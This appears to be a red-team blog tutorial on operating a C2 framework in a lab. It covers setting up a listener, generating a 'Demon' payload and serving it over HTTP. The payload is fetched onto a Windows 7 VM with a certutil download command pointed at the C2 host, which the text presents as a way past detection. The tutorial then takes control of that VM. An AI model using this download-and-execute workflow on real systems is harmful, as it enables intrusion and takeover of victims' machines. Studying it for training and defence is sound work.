Introduction.
We already know what a C2, or Command and Control server is and, if you are not familiar you should take a look at our first post of this series. In the first post of this series, we walked through setting up and configuring one. Now, it’s time to test its functionality and get acquainted with its operational behavior. It’s important to note that, at this point, we are not yet obfuscating our communications; that is, we are not using any redirectors between the ‘Client and the Server.’ As such, what you’ll see is a direct connection between the victim and our C2 server. It’s crucial to emphasize this because, in a real-world operation, the approach would be different.
At this stage, our C2 server is up and running. If you’re familiar with our previous post, you’ll recall that the last screenshot we shared is depicted in the image below.
At this point, we are going to build our first Listener.
What is a Listener?
In the context of a Command and Control (C2) server, a listener is essentially a server-side component designed to wait for incoming connections from compromised clients, often referred to as “agents” or “bots.” A listener operates on a specific port and may use a particular protocol (HTTP, HTTPS, DNS, TCP, etc.) to establish and maintain communication with the client-side malware that’s executed on the target systems.
Then go to the tab called ‘View’ and select ‘Listeners.’ On your PC, you should see something that looks like this:
After you select ‘Listeners,’ a window will appear on your screen while this C2 offers a plethora of customization options, for the sake of keeping this demonstration straightforward, we’ll stick to the default settings, as illustrated in the screenshot below:
Go ahead and click save.
After following the previous steps, you can confirm that the Listener is set up and actively waiting for incoming connections. This will be evident as a new tab will open at the bottom of the C2 interface. Additionally, you’ll see a notification in the top-right corner, confirming that the Listener has been initiated. The notification will display the name you’ve assigned to it, in this case, ‘Demon.’ The two images below illustrate what you should see on your screen.
It’s time to generate our first payload.
What is a payload?
In the context of a Command and Control (C2) server, a “payload” refers to the malicious code or data that is sent from the C2 server to a compromised system (the “client”) or from the client back to the C2 server. Payloads can serve multiple purposes depending on what the attacker aims to achieve, such as executing specific commands, exfiltrating data, or providing additional functionality to the malware already on the compromised system. When it comes to the operational phase of a C2 framework, generating the payload is a crucial step. This is the component that you will need to deliver to the target system through some means, such as email phishing, drive-by downloads, or other attack vectors.
Once the payload is executed on the target system, it establishes a connection back to the C2 server, effectively allowing the attacker to control the compromised system. You can customize payloads to perform a range of tasks including, but not limited to, keylogging, capturing webcam and microphone data, stealing credentials, or conducting lateral movement within a network. Some advanced C2 frameworks allow for “modular” payloads, which can download additional functional modules from the C2 server as required, making them highly flexible and extensible.
Go ahead and click on the ‘Attack’ tab, then select the ‘Payload’ option.
A window similar to the one shown in the image below will appear on your screen. As you can see, it offers a multitude of customization options for our payload. However, for the sake of keeping this post straightforward, we’ll stick with the default settings this time. In future posts, we’ll delve into how to tailor your payload using advanced techniques, which we also cover in-depth in our ‘Infrastructure for Hackers’ course. So, without further ado, click ‘Generate,’ using the example in the following image as your guide.
If all goes well, you should see a series of instructions appear at the bottom of the window as the payload is being generated. See the picture below:
Once the payload is generated, you can navigate through the directory to locate where it has been saved. In my case, as you can see, it’s located on the desktop.
Using the command python -m http.server spins up a simple HTTP server using Python’s built-in HTTP server module. When you run this command, the current directory where the command is executed becomes the base directory for the server, allowing files to be served to clients requesting them over HTTP. The server listens on port 8000 by default, but you can specify a different port by appending it to the command, e.g., python -m http.server 8080. This is often used in C2 setups, penetration testing, and red teaming exercises for quick and easy file transfers, though it’s important to note that it doesn’t offer any encryption or authentication mechanisms out-of-the-box.
Here’s a quick rundown of what happens under the hood:
Initialization: The Python HTTP server module (http.server) is initialized. This is a simple, built-in HTTP server that comes packaged with Python’s standard library.
Socket Creation and Binding: A socket is created and bound to the host (usually localhost or 0.0.0.0 to listen on all available network interfaces) and port specified (default is 8000).
Listening: The server starts listening for incoming HTTP requests. When a request is received, it reads the HTTP headers to determine what file or path the client is requesting.
File Serving: It looks for the requested file in its base directory (the directory from which you ran the command). If it finds the file, it serves it back to the client. If not, it sends a 404 error.
Logging: Most interactions are logged to the console, providing information on the client IP, requested path, and other details.
In a cyber operations context, while simple and quick, this approach should be used cautiously. Lack of encryption and authentication could pose a security risk, making the server and the files it serves vulnerable to unauthorized access or man-in-the-middle attacks. For more secure implementations, one could consider using more robust solutions like an Nginx or Apache server, potentially with SSL encryption.
Now, we’ll employ a Windows 7 virtual machine as our target operating system, on which we’ll open our Command Prompt (cmd) terminal.
In this part of the guide, we’ll focus on an interesting Windows utility, certutil, to fetch our payload from the Command and Control (C2) server. In the context of a Red Team operation, downloading your payload securely and stealthily is crucial. While there are various ways to do it, certutil can come in handy as it’s a legitimate built-in Windows utility mainly used for certificate management, but it can also be ‘abused’ for our purpose.
Here’s the command broken down:
certutil: This is the Windows utility we’re using.
-urlcache: This flag is for telling certutil to cache the object retrieved from the URL.
-split: This flag specifies that the object should be split across several records in the cache. This is not particularly needed in our context but can be useful for large files.
-f: This flag stands for ‘force’, ensuring that the download happens even if the file already exists.
http://192.168.1.88:8000/demon.exe: This is the URL of your C2 server where demon.exe, your payload, resides.
The full command, certutil -urlcache -split -f http://192.168.1.88:8000/demon.exe, will therefore download demon.exe from your C2 server and store it locally on the machine you’re operating on. One of the beauties of using certutil in this manner is that it often bypasses traditional detection methods due to its legitimate status. However, newer security solutions are getting better at detecting this kind of ‘living-off-the-land’ technique, so your mileage may vary.
As you can observe in the screenshot below, the payload has been successfully transferred to the desktop of the target machine.
Now, go ahead and double-click on the payload on the target machine.
Instantly, you will observe that the right-hand pane of our C2 interface initiates the connection, allowing us full control over our target.
Now navigate to the ‘View’ tab and select the ‘Graphical View’ option. You’ll be able to visualize the interaction between the C2 and the target machine, as illustrated in the image below.
If you right-click on the target machine within the graphical view, you’ll gain not only interactive access but also the ability to view process listings and file explorer details, as showcased in the images below.
If you right-click on the target machine’s graphical representation and choose the ‘Interact’ option, you’ll have the capability to execute various actions on the target system. To do this, navigate to the bottom of the newly-opened tab triggered by the aforementioned process and type ‘help,’ followed by pressing Enter.
Below, you’ll find a screenshot that illustrates what you should be seeing on your computer at this point. This provides an overview of some of the actions you can execute on the target machine.
Go ahead and enter the ‘checkin’ command. This will provide you with comprehensive information about the target system, as illustrated in the photos below.
This has been merely a small glimpse into the capabilities you can unlock with just a few commands. Imagine the endless possibilities when you master comprehensive infrastructure deployment systems along with intricate scenarios. To delve deeper into this subject, I’ve listed two potential options below that you might want to explore.
Smouk out!
If you liked what you saw, you might be interested in our Hacking Infrastructure course, or perhaps you’d like to consider becoming part of our community by becoming a Subscriber PRO.
